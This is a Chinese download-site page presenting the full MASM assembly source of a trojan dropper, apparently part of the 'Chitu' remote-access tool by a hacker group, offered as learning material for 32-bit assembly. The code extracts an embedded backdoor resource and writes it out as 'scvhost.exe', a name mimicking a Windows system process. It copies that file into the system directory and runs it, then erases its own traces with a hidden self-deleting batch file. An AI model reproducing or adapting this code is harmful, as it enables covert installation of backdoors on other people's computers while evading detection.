⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 systemserice.asm

📁 红狼安全小组编写的赤兔远控程序源码,学windows下32位汇编的同志可以看看~
💻 ASM
字号:
;******************************************************
;程序编写by Asm
;日期:2007-4-10日
;出处:http://www.wolfexp.net/(红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组(http://www.wolfexp.net/)
;
;特别说明,这里程序自删除采用了罗聪大牛的代码,特此感谢。
;******************************************************
.386
.model flat, stdcall
option casemap :none

include windows.inc
include kernel32.inc
include advapi32.inc
include user32.inc
includelib kernel32.lib
includelib advapi32.lib
includelib user32.lib
include shell32.inc
includelib shell32.lib
include macros.inc

doorForshell equ    1001 ;资源ID

.data?
szCurrent db 1024 dup(?)
szCurrentFile db 1024 dup(?)
szSystem1 db 1024 dup(?)
szBuff db 1024 dup(?)
szNameof db 156 dup(?)
sz1 db 156 dup(?)
.code
_GetDoor proc
LOCAL hRsrc:DWORD
LOCAL hResData:DWORD
LOCAL dwSize:DWORD
LOCAL dwSizeWritten:DWORD
LOCAL lpData:DWORD
LOCAL lpRes:DWORD
LOCAL hFile:DWORD
        invoke FindResource,NULL,doorForshell,RT_RCDATA;查找资源
        mov hRsrc,eax
       invoke SizeofResource,NULL,hRsrc;获取资源长度
       mov dwSize,eax
       invoke LoadResource,NULL,hRsrc;装载资源
       mov hResData,eax
       invoke GlobalAlloc,GPTR,dwSize;给数据分配内存
        mov lpData,eax
       invoke LockResource,hResData;锁定它
       mov lpRes,eax
       invoke	GetCurrentDirectory,200,addr szNameof;获取当前目录
       invoke lstrcat,addr sz1,addr szNameof
       invoke lstrcat,addr sz1,CTXT("\scvhost.exe");串联完整程序名
       invoke CreateFile,offset sz1,GENERIC_WRITE,FILE_SHARE_READ,\
       NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL ;打开程序
       .if eax != NULL
        mov hFile,eax
       invoke WriteFile,hFile,lpRes,dwSize,addr dwSizeWritten,NULL;创建我们的后门以便执行
       invoke CloseHandle,hRsrc
       invoke CloseHandle,hResData
       invoke CloseHandle,hFile
       invoke GlobalFree,lpData
       .endif
ret
_GetDoor endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DeleteExecutableBF   proc
LOCAL   hFile       :DWORD
LOCAL   len         :DWORD
LOCAL   hHeap       :DWORD 
LOCAL   pszUnsetupPathname   :DWORD
LOCAL   pszUnsetupPath   :DWORD
LOCAL   pszBatFilePathname   :DWORD
LOCAL   pBatFile       :DWORD

jmp nextcode

szBatFileName       BYTE   "DelUS.bat", 0
szOpen           BYTE   "open", 0
szBKSlash           BYTE   "\", 0
L1             BYTE   ":Repeat", 13, 10, 0
L2A             BYTE   "del """, 0
L2B             BYTE   """", 0
L3A             BYTE   13, 10, "if exist """, 0
L3B             BYTE   """ goto Repeat", 13, 10, 0
L4             BYTE   "rmdir """, 0
L5             BYTE   """",13, 10, "del """, 0
L6             BYTE   """",13, 10, 0

nextcode:
; 为字符串分配堆:
invoke GetProcessHeap
mov hHeap, eax
invoke HeapAlloc, hHeap, NULL, 4 * MAX_PATH + 1000
mov pszUnsetupPath, eax
add eax, MAX_PATH
mov pszUnsetupPath, eax
add eax, MAX_PATH
mov pszUnsetupPathname, eax
add eax, MAX_PATH 
mov pszBatFilePathname, eax
add eax, MAX_PATH   
mov pBatFile, eax

; 创建一个批处理文件,用于删除我们的exe文件。当exe文件被删除后,这个批处理文件会自动删除自己,以及它所在的目录。

; 得到 temp 目录的路径:
invoke GetTempPath, MAX_PATH, pszBatFilePathname

invoke lstrcat, pszBatFilePathname, addr szBatFileName
invoke CreateFile, pszBatFilePathname, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL or FILE_FLAG_SEQUENTIAL_SCAN, NULL
mov hFile, eax
.if (hFile != INVALID_HANDLE_VALUE)

; 得到我们的 exe 文件的全路径(包括文件名):
invoke GetModuleFileName, NULL, pszUnsetupPathname, MAX_PATH

; 得到我们的 exe 文件的路径(不包括文件名):
invoke lstrcpy, pszUnsetupPath, pszUnsetupPathname

; 找到路径最后的 ’\’ 并把它改成0
mov edx, pszUnsetupPath
mov ecx, edx
.repeat
  mov al, byte ptr [edx]
  .if al == 92 ; "\"
    mov ecx, edx
  .endif
  inc edx
.until al == 0
  mov byte ptr [ecx+1], 0 

  ; Bat 文件的内容:
  ; :Repeat
  ; del "C:\Win95ADG\DelSelf.exe"
  ; if exist "DelSelf.exe" goto Repeat
  ; rmdir "C:\Win95ADG"
  ; del "c:\%temppath%\DelUS.bat"
  invoke lstrcat, pBatFile, addr L1
  invoke lstrcat, pBatFile, addr L2A
  invoke lstrcat, pBatFile, pszUnsetupPathname
  invoke lstrcat, pBatFile, addr L2B
  invoke lstrcat, pBatFile, addr L3A
  invoke lstrcat, pBatFile, pszUnsetupPathname
  invoke lstrcat, pBatFile, addr L3B
  invoke lstrcat, pBatFile, addr L4
  invoke lstrcat, pBatFile, pszUnsetupPath
  invoke lstrcat, pBatFile, addr L5
  invoke lstrcat, pBatFile, pszBatFilePathname
  invoke lstrcat, pBatFile, addr L6

  ; 创建 bat 文件:
  invoke lstrlen, pBatFile
  mov len, eax
  invoke WriteFile, hFile, pBatFile, len, addr len, NULL
  invoke CloseHandle, hFile

  ; 现在在后台执行我们的 bat 文件:
  invoke ShellExecute, NULL, addr szOpen, pszBatFilePathname, NULL, NULL, SW_HIDE

.endif

; 释放堆:
invoke HeapFree, hHeap, NULL, pszUnsetupPath
return:
; 结束啦!
ret

DeleteExecutableBF   endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
call _GetDoor;到系统目录后开始释放木马文件
invoke GetCurrentDirectory,200,addr szCurrent
invoke lstrcat,addr szCurrentFile,addr szCurrent
invoke lstrcat,addr szCurrentFile,CTXT("\scvhost.exe")

invoke GetSystemDirectory,addr szSystem1,200;获得系统目录
invoke lstrcat,addr szBuff,addr szSystem1
invoke lstrcat,addr szBuff,CTXT("\scvhost.exe")

invoke CopyFile,addr szCurrentFile,addr szBuff,FALSE;把服务端复制到系统目录
invoke ShellExecute,0,0,addr szBuff,0,0,SW_SHOW;执行服务端
invoke DeleteFile,addr szCurrentFile;删除原先服务端
invoke Sleep,1000;休眠
invoke DeleteExecutableBF;自删除
invoke ExitProcess,NULL
end start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -